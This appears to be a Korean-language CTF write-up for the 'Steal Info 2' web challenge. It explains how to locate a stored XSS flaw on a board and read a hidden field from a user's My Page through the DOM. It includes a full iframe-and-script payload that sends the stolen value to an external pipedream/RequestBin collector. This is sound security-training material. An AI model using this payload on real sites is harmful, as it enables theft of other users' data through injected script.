본문 바로가기
🚩CTF Write up

Steal Info 2 - SegFault Web Hacking CTF Write up

by Prof. Panda 2024. 1. 21.

CTF 문제의 목표

본 CTF 문제는 페이지의 구조를 파악하여 DOM을 활용해서 특정 위치(myPage)의 HTML요소에 접근하여 XSS 공격을 통해 값을 받아내는 것입니다. 필요한 기술과 개념은 다음과 같습니다.

  • XSS에 대한 개념
  • Stored XSS 공격기법
  • 자바스크립트를 통해 DOM을 활용하여 웹의 특정 구성요소에 접근하는 방법
  • iframe 태그와 window.addEventListener 함수의 사용법과 이유
  • 이미지 태그와 RequestBin을 활용하여 데이터를 전송하는 방법

실습 환경

본 문제는 아래와 같은 환경과 도구를 통해 테스트하였습니다.

  • Windows 10
  • Burp Suite
  • RequestBin

풀이 단계

전체적인 실습 단계는 아래와 같습니다.

  1. 마이페이지의 DOM 구조를 파악
  2. XSS 취약점의 위치 파악
  3. 페이로드 삽입 및 전송 테스트
  4. 관리자 접근 및 플래그 획득

상세한 문제풀이

1) 마이페이지의 정보란(info)에 flag 숨겨있다고 했으니 해당 위치의 DOM을 접근하는 법을 분석합니다.

"document.getElementById('userInfo').placeholder"를 입력하면 접근할 수 있습니다.

2) XSS의 취약점이 게시판에서 Stored 방식으로 존재하는 것을 파악했습니다.

 

3) 페이로드 작성 및 테스트를 진행합니다.

<iframe id="target" src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php"></iframe>
<script>
window.addEventListener('DOMContentLoaded', function(){
	var i = new Image();
    mes=document.getElementById('target').contentDocument.getElementById('userInfo').placeholder;
    i.src='https://engpiobmja68.x.pipedream.net/'+mes;
});
</script>

iframe이 잘 생성됩니다.
값이 전송되는 것을 확인했습니다.

 

4) 관리자가 접근하게 되면 flag가 전송됩니다.